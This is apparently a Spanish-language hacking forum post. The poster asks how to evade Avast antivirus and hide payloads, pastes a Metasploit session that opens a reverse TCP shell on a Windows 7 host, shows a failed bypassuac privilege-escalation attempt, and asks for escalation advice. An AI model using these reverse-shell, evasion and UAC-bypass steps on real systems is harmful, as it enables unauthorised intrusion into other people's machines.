Alguna sugerencia pra bypassear AVAST AV? Probé con veil, phantom evasion y varios otros pero ninguna funciona.
Algún tutorial para aprender a ocultar payloads sin ser detectado?

Buenas noches,

Estoy trabado y no se como solucionarlo. Obtuve una shell de windows (windows7 SP1) pero la misma no tiene privilegios de administrador y por lo tanto no puedo hacer demasiado, no me funciona ni el comando ftp. . El payload que utilicé es el siguiente:

msf5 exploit(multi/handler) > set PAYLOAD windows/x64/shell_reverse_tcp.

No utilicé meterpreter ya que me lo detecta el antivirus.

Muestro el resultado de la shell:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/x64/shell_reverse_tcp
PAYLOAD => windows/x64/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.9
LHOST => 192.168.1.9
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run

• Started reverse TCP handler on 192.168.1.9:8080
• Command shell session 1 opened (192.168.1.9:8080 -> 192.168.1.4:49179) at 2019-04-05 23:06:51 -0400

Microsoft Windows [Versi?n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows>

Alguna sugerencia para esclarar privilegios?
Probé con múltiples exploit pero en todos dice que la sesión podría no ser compatible:

msf5 exploit(windows/local/bypassuac) > exploit -j

• Exploit running as background job 0.
• Exploit completed, but no session was created.
[!] SESSION may not be compatible with this module.

Alguien puede orientarme? Gracias!!!!